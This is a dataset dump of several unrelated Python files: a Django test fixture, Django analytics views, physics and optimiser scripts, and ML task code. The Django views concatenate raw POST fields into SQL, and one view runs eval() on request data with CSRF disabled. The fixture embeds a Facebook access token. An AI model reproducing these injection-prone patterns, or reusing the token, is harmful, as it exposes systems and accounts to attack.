{\"authResponse\":{\"accessToken\":\"CAAXOGH0W4ukBAME6lO8u8ZC53o5afMzXqZBm8tli3MVjtS8syEpMh6SUNNlIwHtliWUimeYFtxf9LnStzFZBTovjrO4LZAd81tKOZBBHRxeXCOeaor54DJhkU8BZB9KJWvZBAWtBVXrL0gRtJnf0cSRvzAhArIfc7J2IVsMEf6jJn4llsGOSaVRX6guVZBgNT9sHrAPjqkqFGgZDZD\",\"userID\":\"10153398366406413\",\"expiresIn\":6531,\"signedRequest\":\"8ndfwwOFwaRj36TICItxR78y6Wz9fUiHKcNXHQllA2M.eyJhbGdvcml0aG0iOiJITUFDLVNIQTI1NiIsImNvZGUiOiJBUUFSdndpYmw3TWh5WGlGd3QxUmpTV1dlTDBBVTc0bldJckhtQ3JkQV9rdnphcUNDajVmU2FPZ2ZOWEo4MEZLMHg3ZW9WTDdmaEQ4VGxmN2pDWlp6ZmlpSmFZNU5wTzFzdkJtV01LZ0NwX2doV18tcFBjUFhpM2gzTEhLNUVMUEhJNzcyYnZOS0daQTBMMklFNEdFVVpwUnprQjhQZDJxUWJwYVJlU1RRNUEzZHpmZVJnZkRsLUgtbkZVYkJQMXF3YVF5VEpYZlBEeHBselFJZUdqNm5xeFJ6b3VFVkJyM0pnZVM1WGpxRGNNNktkUmdPN0V3N3RhYmd1dzNCWDEzVXBkeHJLRTlLOVRrTWxPS2JEWkFSMU1Ja1puazVyZ1QtM0NVZGxjMUhuRVpJRXgtZVVKMVZkdzhES0pidTFzX1o0ekV2RGFHeEVCakloM29OQjlUc2dHbiIsImlzc3VlZF9hdCI6MTQ0MTExMzA2OSwidXNlcl9pZCI6IjEwMTUzMzk4MzY2NDA2NDEzIn0\"},\"status\":\"connected\"}\n # parameters = {'login_method': 'facebook', 'payload': payload }\n # self.client.post('/third_party_login/', parameters=parameters, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n\n\n\n\n","sub_path":"bridge/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":22052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"282930258","text":"from django.shortcuts import render\nfrom django.shortcuts import render, redirect\nfrom django.urls import reverse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom app.login.models import User,Department,Customer,BudgetCodeForm,PartItem,PartItemResult,MaintenanceLog,Configuration\n# from app.login.views import Update_User_IsActivated\nfrom django.views.generic.base import View\nfrom django.db import connection\nfrom django.http import HttpResponseRedirect,HttpResponse\nfrom app import restful,mail\n# from datetime import datetime,timedelta,date\n# from django.conf import settings\n# import random\n# import string\n# import os\n# import time\n# from openpyxl import load_workbook,Workbook\nimport json\n\n#统计分析的数据的 拉出一周的数据, 这里先拉出来前面10条的数据\nclass analysis_equipment_info(View):\n def get(self,request):\n\n visua_data = {}\n #柱状图需要的数据\n sql1 = 'SELECT \"ErrorCode\", COUNT(\"SN\") FROM \"PartItemResult\" where \"Result\"= \\'FAIL\\' GROUP BY \"ErrorCode\"'\n cur = connection.cursor()\n cur.execute(sql1)\n visua_data['errorcode'] = cur.fetchall()\n\n sql2 = 'SELECT \"PartName\", COUNT(\"SN\") FROM \"PartItemResult\" GROUP BY \"PartName\"'\n cur = connection.cursor()\n cur.execute(sql2)\n visua_data['Partname'] = cur.fetchall()\n #��用户设定的次数\n range_area = Configuration.objects.filter(Type=\"at_count\").order_by(\"Min\")\n li=[]\n if len(range_area) !=0:\n range_sql = 'SELECT COUNT(\"SN\") FROM \"PartItemResult\" where \"Result\"= \\'FAIL\\''\n for i in range(len(range_area)):\n range_data=range_sql+' AND \"UsedTimes\">=\\''+str(int(range_area[i].Min))+'\\' AND \"UsedTimes\"<=\\''+str(int(range_area[i].Max))+'\\''\n cur = connection.cursor()\n cur.execute(range_data)\n rank=cur.fetchall()\n new =[str(int(range_area[i].Min))+'~'+str(int(range_area[i].Max)),rank[0][0]]\n li.append(new)\n visua_data['user'] =li\n else:\n sql3 = 'SELECT COUNT(\"SN\") FROM \"PartItemResult\" where \"Result\"= \\'FAIL\\' and \"UsedTimes\">0'\n cur = connection.cursor()\n cur.execute(sql3)\n rankelse = cur.fetchall()\n visua_data['user'] = ['0~0',rankelse[0][0]]\n\n sql4 = 'SELECT COUNT(\"SN\"),\"PartName\" FROM (select distinct \"SN\",\"PartName\",\"Result\" from \"PartItemResult\") as foo where \"Result\"= \\'FAIL\\' GROUP BY \"PartName\"'\n cur = connection.cursor()\n cur.execute(sql4)\n visua_data['filterSN'] = cur.fetchall()\n try:\n return restful.ok(data=visua_data)\n except:\n return restful.params_error(message='data error')\n def post(self,request):\n pass\n\n\n#数据显示部分\ndef analysis_data(request):\n if request.method == \"GET\":\n #数据显示部分的data\n try:\n data = PartItemResult.objects.order_by().all().values()\n data =list(data)\n return restful.ok(data=data)\n except:\n return restful.params_error(message=\"data got fail\")\n\n#设置区间的获取的数据\ndef analysis_setup_data(request):\n if request.method == \"GET\":\n try:\n limit_data = Configuration.objects.filter(Type=\"at_count\").order_by(\"Id\").values(\"Id\",\"Min\",\"Max\")\n limit_data = list(limit_data)\n return restful.ok(data=limit_data)\n except:\n return restful.params_error(message=\"data error\")\n#设置区间删除的函数\ndef analysis_delete_data(request):\n if request.method == \"POST\":\n range_id = request.POST['div_id']\n range_id = range_id.split('_')[0]\n Configuration.objects.filter(Id=int(range_id)).delete()\n try:\n return restful.ok(message=\"\")\n except:\n return restful.params_error(message='data error')\n#设置区间提交的数据摄入表里面\n@csrf_exempt\ndef analysis_setup_value(request):\n if request.method == \"POST\":\n form_data = request.POST.get('data')\n form_data = eval(form_data)\n try:\n dict_analysis = {}\n for i, j in form_data.items():\n dict_analysis[i.split('[')[0][8] + i.split('[')[1].split(']')[0]] = int(j)\n dict_an = {}\n distinct_li = []\n for i in dict_analysis.keys():\n distinct_li.append(i[1:])\n distinct_li = list(set(distinct_li))\n\n for k in distinct_li:\n val = []\n for i, j in dict_analysis.items():\n if i[1:] == k:\n val.append(j)\n val.sort()\n dict_an[k] = val\n for key, v in dict_an.items():\n try:\n analysis_obj = Configuration.objects.get(Id=eval(key))\n analysis_obj.Min=v[0]\n analysis_obj.Max=v[1]\n analysis_obj.save()\n except:\n Configuration.objects.create(Type=\"at_count\",Min=v[0],Max=v[1])\n return restful.ok(data=form_data,message=\"setup success\") #(\"/index/\")\n except:\n return restful.params_error(data=form_data)\n\n\n#数据的获取的数据\ndef analysis_query_data(request):\n if request.method == \"GET\":\n try:\n data = {}\n stage =list(PartItemResult.objects.all().values(\"Stage\").distinct(\"Stage\"))\n fixtureId = list(PartItemResult.objects.all().values(\"FixtureId\").distinct(\"FixtureId\"))\n USN = list(PartItemResult.objects.all().values(\"USN\").distinct(\"USN\"))\n data['stage']=stage\n data['fixtureId']=fixtureId\n data['USN']=USN\n return restful.ok(data=data)\n except Exception as e:\n return restful.params_error(message=repr(e))\n\n#根据提交的数据进行查询函数的定义\ndef analysis_query_info(request):\n if request.method ==\"POST\":\n startTime = request.POST['begin']\n endTime = request.POST['end']\n stage = request.POST['stage']\n fixture = request.POST['fixture']\n usn = request.POST['usn']\n visua_data = {}\n sql = 'SELECT \"ErrorCode\", COUNT(\"SN\") FROM \"PartItemResult\" where \"Result\"= \\'FAIL\\' '\n sql2 = 'SELECT \"PartName\", COUNT(\"SN\") FROM \"PartItemResult\" where \"Result\"= \\'FAIL\\' '\n sql3 = 'SELECT COUNT(\"SN\") FROM \"PartItemResult\" where \"Result\"= \\'FAIL\\''\n sql4 = 'SELECT COUNT(\"SN\"),\"PartName\" FROM (select distinct \"SN\",\"PartName\",\"Result\"' \\\n ',\"Stage\",\"FixtureId\",\"USN\",\"TrnDate\" from \"PartItemResult\") as foo where \"Result\"= \\'FAIL\\''\n if stage !=\"\":\n sql = sql+' AND \"Stage\"= \\'' + stage + '\\''\n sql2 = sql2+' AND \"Stage\"= \\'' + stage + '\\''\n sql3 = sql3+' AND \"Stage\"= \\'' + stage + '\\''\n sql4 = sql4+' AND \"Stage\"= \\'' + stage + '\\''\n if fixture != \"\":\n sql = sql + ' AND \"FixtureId\"=\\'' + fixture + '\\''\n sql2 = sql2 + ' AND \"FixtureId\"=\\'' + fixture + '\\''\n sql3 = sql3 + ' AND \"FixtureId\"=\\'' + fixture + '\\''\n sql4 = sql4 + ' AND \"FixtureId\"=\\'' + fixture + '\\''\n if usn != \"\":\n sql = sql + ' AND \"USN\"=\\'' + usn + '\\''\n sql2 = sql2 + ' AND \"USN\"=\\'' + usn + '\\''\n sql3 = sql3 + ' AND \"USN\"=\\'' + usn + '\\''\n sql4 = sql4 + ' AND \"USN\"=\\'' + usn + '\\''\n if startTime !=\"\":\n sql = sql+ ' AND \"TrnDate\" >=\\'' + startTime + '\\''\n sql2 = sql2+ ' AND \"TrnDate\" >=\\'' + startTime + '\\''\n sql3 = sql3+ ' AND \"TrnDate\" >=\\'' + startTime + '\\''\n sql4 = sql4+ ' AND \"TrnDate\" >=\\'' + startTime + '\\''\n if endTime !=\"\":\n sql = sql+ ' AND \"TrnDate\" <=\\'' + endTime + '\\''\n sql2 = sql2+ ' AND \"TrnDate\" <=\\'' + endTime + '\\''\n sql3 = sql3+ ' AND \"TrnDate\" <=\\'' + endTime + '\\''\n sql4 = sql4+ ' AND \"TrnDate\" <=\\'' + endTime + '\\''\n # 查用户设定的次数\n range_area = Configuration.objects.filter(Type=\"at_count\").order_by(\"Min\")\n li = []\n if len(range_area) != 0:\n for i in range(len(range_area)):\n range_data = sql3 + ' AND \"UsedTimes\">=\\'' + str(int(range_area[i].Min)) + '\\' AND \"UsedTimes\"<=\\'' + str(int(range_area[i].Max)) + '\\''\n cur = connection.cursor()\n cur.execute(range_data)\n rank = cur.fetchall()\n new = [str(int(range_area[i].Min)) + '~' + str(int(range_area[i].Max)), rank[0][0]]\n li.append(new)\n visua_data['user'] = li\n else:\n range_data =sql3 + ' UsedTimes\">0'\n cur = connection.cursor()\n cur.execute(range_data)\n rankelse = cur.fetchall()\n visua_data['user'] = ['0~0', rankelse[0][0]]\n #按errorcode的分类\n errorcode = sql+ ' GROUP BY \"ErrorCode\"'\n #按partname的分类\n partname = sql2+ ' GROUP BY \"PartName\"'\n #NG数量的按照partname分类\n SN = sql4+ ' GROUP BY \"PartName\"'\n #fail区间的数量的查询-----\n cur = connection.cursor()\n cur.execute(errorcode)\n visua_data['errorcode']= cur.fetchall()\n cur.execute(partname)\n visua_data['Partname'] = cur.fetchall()\n cur.execute(SN)\n visua_data['filterSN'] = cur.fetchall()\n try:\n return restful.ok(data=visua_data)\n except:\n return restful.params_error(message=\"query data is null\")\n\n#查询之前获取后端的数据\ndef analysis_tab_data(request):\n if request.method == \"GET\":\n data={}\n Stage = list(PartItemResult.objects.all().values(\"Stage\").distinct(\"Stage\"))\n FixtureId = list(PartItemResult.objects.all().values(\"FixtureId\").distinct(\"FixtureId\"))\n USN = list(PartItemResult.objects.all().values(\"USN\").distinct(\"USN\"))\n Result = list(PartItemResult.objects.all().values(\"Result\").distinct(\"Result\"))\n data['Stage'] = Stage\n data['FixtureId'] = FixtureId\n data['USN'] = USN\n data['Result'] = Result\n try:\n return restful.ok(data=data)\n except:\n return restful.params_error(message=\"data error\")\n\n#点击视图需要的条件的查询数据\ndef analysis_visul_data(request):\n if request.method == \"POST\":\n try:\n errorcode = request.POST.get('errorcode')\n startTime = request.POST.get('begin')\n endTime = request.POST.get('end')\n stage = request.POST.get('stage')\n fixture = request.POST.get('fixture')\n usn = request.POST.get('usn')\n visua_data = {}\n sql = 'SELECT \"ErrorCode\", COUNT(\"SN\") FROM \"PartItemResult\" where \"Result\"= \\'FAIL\\' '\n sql2 = 'SELECT \"PartName\", COUNT(\"SN\") FROM \"PartItemResult\" where \"Result\"= \\'FAIL\\' '\n if errorcode != \"\":\n sql = sql + ' AND \"ErrorCode\"= \\'' + errorcode + '\\''\n sql2 = sql2 + ' AND \"ErrorCode\"= \\'' + errorcode + '\\''\n if stage != \"\":\n sql = sql + ' AND \"Stage\"= \\'' + stage + '\\''\n sql2 = sql2 + ' AND \"Stage\"= \\'' + stage + '\\''\n if fixture != \"\":\n sql = sql + ' AND \"FixtureId\"=\\'' + fixture + '\\''\n sql2 = sql2 + ' AND \"FixtureId\"=\\'' + fixture + '\\''\n if usn != \"\":\n sql = sql + ' AND \"USN\"=\\'' + usn + '\\''\n sql2 = sql2 + ' AND \"USN\"=\\'' + usn + '\\''\n if startTime != \"\":\n sql = sql + ' AND \"TrnDate\" >=\\'' + startTime + '\\''\n sql2 = sql2 + ' AND \"TrnDate\" >=\\'' + startTime + '\\''\n if endTime != \"\":\n sql = sql + ' AND \"TrnDate\" <=\\'' + endTime + '\\''\n sql2 = sql2 + ' AND \"TrnDate\" <=\\'' + endTime + '\\''\n # 按errorcode的分类\n errorcode = sql + ' GROUP BY \"ErrorCode\"'\n # 按partname的分类\n partname = sql2 + ' GROUP BY \"PartName\"'\n cur = connection.cursor()\n cur.execute(errorcode)\n visua_data['errorcode'] = cur.fetchall()\n cur.execute(partname)\n visua_data['Partname'] = cur.fetchall()\n return restful.ok(data=visua_data,)\n except Exception as e:\n return restful.params_error(message=repr(e))\n\n\n\n#数据表的数据查询数据\ndef analysis_query_tab_info(request):\n if request.method == \"POST\":\n try:\n startTime = request.POST['begin']\n endTime = request.POST['end']\n stage = request.POST['stage']\n fixture = request.POST['fixture']\n usn = request.POST['usn']\n result = request.POST['result']\n sql = 'SELECT * FROM \"PartItemResult\" where 1=1 '\n if stage != \"\":\n sql = sql + 'AND \"Stage\"= \\'' + stage + '\\''\n if fixture != \"\":\n sql = sql + 'AND \"FixtureId\"=\\'' + fixture + '\\''\n if usn != \"\":\n sql = sql + 'AND \"USN\"=\\'' + usn + '\\''\n if result != \"\":\n sql = sql + 'AND \"USN\"=\\'' + result + '\\''\n if startTime != \"\":\n sql = sql + 'AND \"TrnDate\" >=\\'' + startTime + '\\''\n if endTime != \"\":\n sql = sql + 'AND \"TrnDate\" <=\\'' + endTime + '\\''\n cur = connection.cursor()\n cur.execute(sql)\n data = cur.fetchall()\n return restful.ok(data=data)\n except:\n return restful.params_error(message=\"query data is null\")","sub_path":"analysis/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"653578244","text":"import pylab as pl\nimport math\nclass projectile():\n def __init__(self,time_step=0.1,total_time=10,intial_velocity_x=50,\\\n intial_velocity_y=50, intial_x=0,intial_y=1,mass=10,B2=0.001,B1=0.001,F_0=5):\n self.v_x=[intial_velocity_x]\n self.v_y=[intial_velocity_y]\n self.v=[math.sqrt(pow(intial_velocity_x,2)+pow(intial_velocity_y,2))]\n self.x=[intial_x]\n self.y=[intial_y]\n self.dt=time_step\n self.time=total_time\n self.m=mass\n self.B2=B2\n self.B1=B1\n self.F_0=F_0\n self.intial_velocity_x=intial_velocity_x\n self.intial_velocity_y=intial_velocity_y\n def run(self):\n _time=0\n while(_time= 10000).astype('int64')\n return df\n","sub_path":"fraud/features/on_demand_feature_views/transaction_amount_is_high.py","file_name":"transaction_amount_is_high.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"299920393","text":"import os, errno, sys\nimport numpy as np\nimport random\nsys.path.append(os.path.abspath(__file__+'/../../../../../'))\nfrom SimulationFramework.Modules.optimiser import optimiser\nopt = optimiser()\nimport multiprocessing\nfrom scoop import futures\nimport deap\nimport copy\nimport csv\nimport genesisBeamFile\nimport id_number as idn\nimport id_number_server as idnserver\n\nclass MOGA(object):\n\n injector_parameter_names = [\n ['CLA-HRG1-GUN-CAV', 'phase'],\n ['CLA-HRG1-GUN-SOL', 'field_amplitude'],\n ['CLA-L01-CAV', 'field_amplitude'],\n ['CLA-L01-CAV', 'phase'],\n ['CLA-L01-CAV-SOL-01', 'field_amplitude'],\n ['CLA-L01-CAV-SOL-02', 'field_amplitude'],\n ]\n parameter_names = [\n ['CLA-L02-CAV', 'field_amplitude'],\n ['CLA-L02-CAV', 'phase'],\n ['CLA-L03-CAV', 'field_amplitude'],\n ['CLA-L03-CAV', 'phase'],\n ['CLA-L4H-CAV', 'field_amplitude'],\n ['CLA-L4H-CAV', 'phase'],\n ['CLA-L04-CAV', 'field_amplitude'],\n ['CLA-L04-CAV', 'phase'],\n ['bunch_compressor', 'set_angle'],\n ['CLA-S07-DCP-01', 'factor'],\n ]\n\n def __init__(self):\n super(MOGA, self).__init__()\n self.global_best = 0\n self.POST_INJECTOR = True\n\n def create_weights_function(self, weights=(-1.0, 1.0, -1.0, 1.0, )):\n deap.creator.create(\"Fitness\", deap.base.Fitness, weights=weights)\n deap.creator.create(\"Individual\", list, fitness=deap.creator.Fitness)\n\n def create_toolbox(self):\n self.toolbox = deap.base.Toolbox()\n # Attribute generator\n self.toolbox.register(\"attr_bool\", self.generate)\n # Structure initializers\n self.toolbox.register(\"Individual\", self.generate)\n self.toolbox.register(\"population\", deap.tools.initRepeat, list, self.toolbox.Individual)\n\n def create_fitness_function(self, function, **kwargs):\n self.toolbox.register(\"evaluate\", function, **kwargs)#scaling=3, post_injector=True)\n\n def create_mating_function(self, method, **kwargs):\n self.toolbox.register(\"mate\", method, **kwargs)\n\n def create_uniform_mating_function(self, probability=0.3):\n self.create_mating_function(deap.tools.cxUniform, indpb=probability)\n\n def create_mutation_function(self, method, **kwargs):\n self.toolbox.register(\"mutate\", method, **kwargs)\n\n def create_gaussian_mutation_function(self, probability=0.3, mu=0, sigma=[1e6,2,1e6,2,2e6,2,1e6,2,0.003,0.1]):\n self.create_mutation_function(deap.tools.mutGaussian, mu=mu, sigma=sigma, indpb=probability)\n\n def add_bounds(self, MIN, MAX):\n self.toolbox.decorate(\"mate\", self.checkBounds(MIN, MAX))\n self.toolbox.decorate(\"mutate\", self.checkBounds(MIN, MAX))\n\n def create_selection_function(self, method, **kwargs):\n self.toolbox.register(\"select\", method, **kwargs)\n\n def create_NSGA2_selection_function(self, **kwargs):\n self.create_selection_function(deap.tools.selNSGA2, **kwargs)\n\n def saveState(self, args, n, params, fitness):\n with open('MOGA/best_solutions_running.csv','a') as out:\n csv_out=csv.writer(out)\n args=list(args)\n for p in params:\n args.append(p)\n args.append(n)\n args.append(fitness)\n csv_out.writerow(args)\n\n def rangeFunc(self, i):\n if abs(i) > 0:\n return [0.95 * i, 1.05 * i]\n else:\n return [-1,1]\n\n def checkBounds(self, min, max):\n def decorator(func):\n def wrapper(*args, **kargs):\n offspring = func(*args, **kargs)\n for child in offspring:\n for i in xrange(len(child)):\n if child[i] > max[i]:\n child[i] = max[i]\n elif child[i] < min[i]:\n child[i] = min[i]\n return offspring\n return wrapper\n return decorator\n\n def generate(self):\n if not self.generateHasBeenCalled:\n self.generateHasBeenCalled = True\n return deap.creator.Individual(list(self.best))\n else:\n return deap.creator.Individual(random.uniform(a,b) for a,b in self.startranges)\n\n def MOGAoptFunc(self, inputargs, *args, **kwargs):\n idclient = idn.zmqClient()\n n = idclient.get_id()\n if not self.POST_INJECTOR:\n parameters = self.injector_parameter_names + self.parameter_names\n else:\n parameters = self.parameter_names\n inputlist = map(lambda a: a[0]+[a[1]], zip(parameters, inputargs))\n e, b, ee, be, l, g = genesisBeamFile.optfunc(inputlist, *args, subdir='MOGA', dir='MOGA/iteration_'+str(n), **kwargs)\n fitness = -1.0*e/b\n self.saveState(inputargs, n, [e, b, ee, be, l], fitness)\n return e, b, ee, be\n\n def initialise_population(self, best, npop):\n self.best = best\n self.generateHasBeenCalled = False\n self.startranges = [self.rangeFunc(i) for i in best]\n self.pop = self.toolbox.population(n=npop)\n\n def initialise_MOGA(self, seed=6546841):\n random.seed(seed)\n self.hof = deap.tools.ParetoFront()\n self.stats = deap.tools.Statistics(lambda ind: ind.fitness.values)\n self.stats.register(\"avg\", np.mean, axis=0)\n self.stats.register(\"std\", np.std, axis=0)\n self.stats.register(\"min\", np.min, axis=0)\n self.stats.register(\"max\", np.max, axis=0)\n\n self.server = idnserver.zmqServer()\n self.server.daemon = True\n self.server.start()\n\n def eaMuPlusLambda(self, nSelect, nChildren, crossoverprobability, mutationprobability, ngenerations):\n out = open('MOGA/best_solutions_running.csv','wb', buffering=0)\n genesisBeamFile.csv_out = csv.writer(out)\n opt.eaMuPlusLambda(self.pop, self.toolbox, nSelect, nChildren, crossoverprobability, mutationprobability, ngenerations, self.stats,\n hoffile='MOGA/CLARA_HOF_longitudinal_Genesis_DCP.csv',\n halloffame=self.hof)\n","sub_path":"SimulationFramework/Examples/CLARA/Elegant_Genesis/genesisBeamFileMOGA.py","file_name":"genesisBeamFileMOGA.py","file_ext":"py","file_size_in_byte":6093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"521699035","text":"# --- Part Two ---\n\n# To be safe, the CPU also needs to know the highest value held in any register during this process so that it can decide how much memory to allocate to these operations. For example, in the above instructions, the highest value ever held was 10 (in register c after the third instruction was evaluated).\n\nfrom collections import defaultdict\n\nwith open(\"8/input.txt\") as input_file:\n lines = [line.split() for line in input_file]\n\nhighest = 0\n\ndef inc(register, val):\n global highest\n registers[register] += val\n highest = max(highest, registers[register])\n\ndef dec(register, val):\n global highest\n registers[register] -= val\n highest = max(highest, registers[register])\n\nregisters = defaultdict(int)\n\nfor line in lines:\n register = line[0]\n func = line[1]\n val = line[2]\n function_call = func + \"('\" + register + \"', \" + val + \")\"\n condition = \"registers['\" + line[4] + \"'] \" + line[5] + \" \" + line[6]\n if eval(condition):\n eval(function_call)\n \nprint(highest)","sub_path":"8/8_2.py","file_name":"8_2.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"81470419","text":"import glob\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sys\n\nsearch_string = sys.argv[1]\nsearch_results = glob.glob(search_string + '*')\n# print(search_results)\n\nleg = []\nfor result in search_results:\n files = glob.glob(result + '/*')\n # print(files)\n result_data = []\n # print(result.split('/')[-1])\n for item in files:\n with open(item, 'r') as resultFile:\n line1 = resultFile.readline()\n line2 = resultFile.readline().rstrip().replace('[', '').replace(']', '').split(', ')\n if len(line2) == 2000:\n result_data.append(line2)\n else:\n print(item)\n result_data = np.array(result_data, dtype=float)\n averaged_results = np.sum(result_data, axis=0) / np.shape(result_data)[0]\n plt.figure(1)\n plt.plot(averaged_results)\n plt.title(result+'/' + 'result')\n plt.savefig(result + '/' + result.split('/')[-1] + '.png')\n plt.gcf().clear()\n plt.figure(2)\n plt.plot(averaged_results)\n leg.append(result.split('/')[-1])\nplt.legend(leg, loc='lower right')\nplt.title(search_string.replace('/', '-') + 'result')\nplt.savefig(search_string + '/results.png')\nprint(\"Use $ [ find . -name '*.png' -type -f -delete ] before running this again\")\n\n\n","sub_path":"Gridworld/results-output.py","file_name":"results-output.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"80695090","text":"import numpy as np\nimport random as rand\nimport tensorflow as tf\nfrom my_lstm import MyRNNModel\n\n\nclass CopyTask(object):\n def __init__(self, input_size,\n min_step,\n max_step,\n real_max_step,\n batch_size):\n self.input_size = input_size\n self.extra_bit = 3\n self.real_input_size = self.input_size + self.extra_bit\n self.output_size = 2 ** input_size + 1\n self.max_step = max_step\n self.min_step = min_step\n self.real_max_step = real_max_step\n self.batch_size = batch_size\n self.start_symbol = self.get_start_symbol()\n self.end_symbol = self.get_end_symbol()\n self.blank_symbol = self.get_blank_symbol()\n self.output_blank_symbol = self.get_output_blank_symbol()\n self.output_start_symbol = self.get_output_start_symbol()\n self.output_end_symbol = self.get_output_end_symbol()\n\n self.symbol_dict = ((self.start_symbol, '.'),\n (self.end_symbol, '.'),\n (self.output_start_symbol, \".\"),\n (self.output_end_symbol, \".\"),\n )\n\n def get_start_symbol(self):\n start_symbol = np.zeros(self.real_input_size)\n start_symbol[self.input_size] = 1\n return start_symbol\n\n def get_end_symbol(self):\n end_symbol = np.zeros(self.real_input_size)\n end_symbol[self.input_size + 1] = 1\n return end_symbol\n\n def get_blank_symbol(self):\n blank_symbol = np.zeros(self.real_input_size)\n blank_symbol[self.input_size + 2] = 1\n return blank_symbol\n\n def get_output_blank_symbol(self):\n blank_symbol = np.zeros(self.output_size)\n # blank_symbol[self.output_size - 1] = 1\n return blank_symbol\n\n def get_output_start_symbol(self):\n symbol = np.zeros(self.output_size)\n symbol[self.output_size - 2] = 1\n return symbol\n\n def get_output_end_symbol(self):\n symbol = np.zeros(self.output_size)\n symbol[self.output_size - 3] = 1\n return symbol\n\n def _create_datas(self, batch_size, min_step, max_step):\n res_x = []\n res_y = []\n\n for _ in range(batch_size):\n step = rand.randint(min_step, max_step)\n valid_data = np.random.randint(0, 2, [step, self.input_size])\n valid_data_x = np.concatenate([valid_data, np.zeros([step, self.extra_bit])], 1)\n valid_data_x = np.concatenate([valid_data_x, [self.get_end_symbol()]], 0)\n res_x.append(np.concatenate(\n [valid_data_x, [self.blank_symbol for _ in range(step + 1, self.real_max_step)]], 0)\n )\n\n valid_data_y = np.zeros([step, self.output_size])\n\n for i in range(step):\n index = self._bit2num(valid_data[i])\n valid_data_y[i][index] = 1\n\n # valid_data_y = np.concatenate(\n # [[self.get_output_start_symbol()], valid_data_y, [self.get_output_end_symbol()]], 0)\n output_blanks = np.array([self.output_blank_symbol for _ in range(step, self.real_max_step)])\n\n valid_data_y = np.concatenate([output_blanks[:step + 1, :], valid_data_y, output_blanks[step + 1:, :]], 0)\n res_y.append(valid_data_y)\n return np.array(res_x), np.array(res_y)\n\n def _bit2num(self, bits):\n return int(sum(\n map(lambda m, n: m * (2 ** n), bits, range(self.input_size))\n ))\n\n def next_batch(self, batch_size):\n return self._create_datas(batch_size, self.min_step, self.max_step)\n\n def next_batch_for_test(self, batch_size, min_step, max_step):\n return self._create_datas(batch_size, min_step, max_step)\n\n def next_batch_curr(self, batch_size, min_step, max_step):\n normal_batch_size = batch_size // 10 * 8\n extra_size = batch_size - normal_batch_size\n res_x, res_y = self._create_datas(normal_batch_size, min_step, max_step)\n\n step = rand.randint(1, max_step)\n extra_data_x, extra_data_y = self._create_datas(extra_size, 1, step)\n x = np.concatenate([res_x, extra_data_x], 0)\n y = np.concatenate([res_y, extra_data_y], 0)\n return x, y\n\n def get_model(self, hidden_units, access_config, lr, clip_value):\n x = tf.placeholder(tf.float32,[None,])\n y = tf.placeholder(tf.float32)\n\n model = MyRNNModel(x, y,\n hidden_units,\n self.real_max_step,\n self.input_size,\n self.output_size,\n access_config,\n self.batch_size, lr, clip_value\n )\n return model, x, y\n\n def show_result(self, predicts, inputs, labels, show_all=True):\n res = []\n for i in range(len(predicts)):\n predicts_strs = ''.join(\n [str(x).rjust(3, \" \") for x in np.argmax(predicts[i], 1)])\n # if x != self.output_size - 1 and x != self.output_size - 2 and x != self.output_size - 3])\n labels_strs = ''.join([str(x).rjust(3, \" \") for x in np.argmax(labels[i], 1)])\n # if x != self.output_size - 1 and x != self.output_size - 2 and x != self.output_size - 3])\n\n strs = ' predicts: %s \\n labels: %s\\n\\n' % (predicts_strs, labels_strs)\n res.append(strs)\n\n return res\n\n# task = CopyTask(4, 1, 5, 10)\n# x, y = task.next_batch(10)\n# print(y)\n","sub_path":"task/copy_task.py","file_name":"copy_task.py","file_ext":"py","file_size_in_byte":5531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"425737796","text":"import os\nimport random\n\nfrom PIL import Image\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchvision import datasets, transforms\n\nfrom torchsample.modules import ModuleTrainer\nfrom torchsample.metrics import CategoricalAccuracy\n\n\ndef gray_to_rgb(im):\n assert len(im.getbands()) == 1\n rgbim = Image.new(\"RGB\", im.size)\n rgbim.paste(im)\n return rgbim\n\n\nclass MNISTTripletDataset(Dataset):\n def __init__(self, root, ntriplets, classes=None, transform=None):\n self.root = root\n self.ntriplets = ntriplets\n self.transform = transform\n # populate class names\n if not classes:\n classes = []\n for classdir in sorted(os.listdir(root)):\n if os.path.isdir(os.path.join(root, classdir)):\n classes.append(classdir)\n # populate filenames\n filenames = []\n for classdir in classes:\n filenames.append([\n os.path.join(root, classdir, filename)\n for filename in os.listdir(\n os.path.join(root, classdir))])\n self.classes = classes\n self.filenames = filenames\n self.num_classes = len(classes)\n self.class_indices = dict(zip(classes, range(len(classes))))\n\n # generate triplets\n triplets = []\n for _ in range(ntriplets):\n pos_class, neg_class = random.choices(self.classes, k=2)\n pos_idx = self.class_indices[pos_class]\n neg_idx = self.class_indices[neg_class]\n # record filepaths and their labels\n triplet = [random.choices(self.filenames[pos_idx], k=2) +\n random.choices(self.filenames[neg_idx], k=1),\n [pos_idx]*2 + [neg_idx]\n ]\n triplets.append(triplet)\n self.triplets = triplets\n self.num_inputs = 3\n self.num_targets = 3\n\n def __len__(self):\n return self.ntriplets\n\n def __getitem__(self, idx):\n paths, labels = self.triplets[idx]\n\n anchor = Image.open(paths[0])\n positive = Image.open(paths[1])\n negative = Image.open(paths[2])\n\n if len(anchor.getbands()) == 1:\n anchor = gray_to_rgb(anchor)\n if len(positive.getbands()) == 1:\n positive = gray_to_rgb(positive)\n if len(negative.getbands()) == 1:\n negative = gray_to_rgb(negative)\n\n if self.transform is not None:\n anchor = self.transform(anchor)\n positive = self.transform(positive)\n negative = self.transform(negative)\n\n return (anchor, positive, negative)\n\n\nDATA_ROOT = '/data/mnist_png'\nuse_gpu = 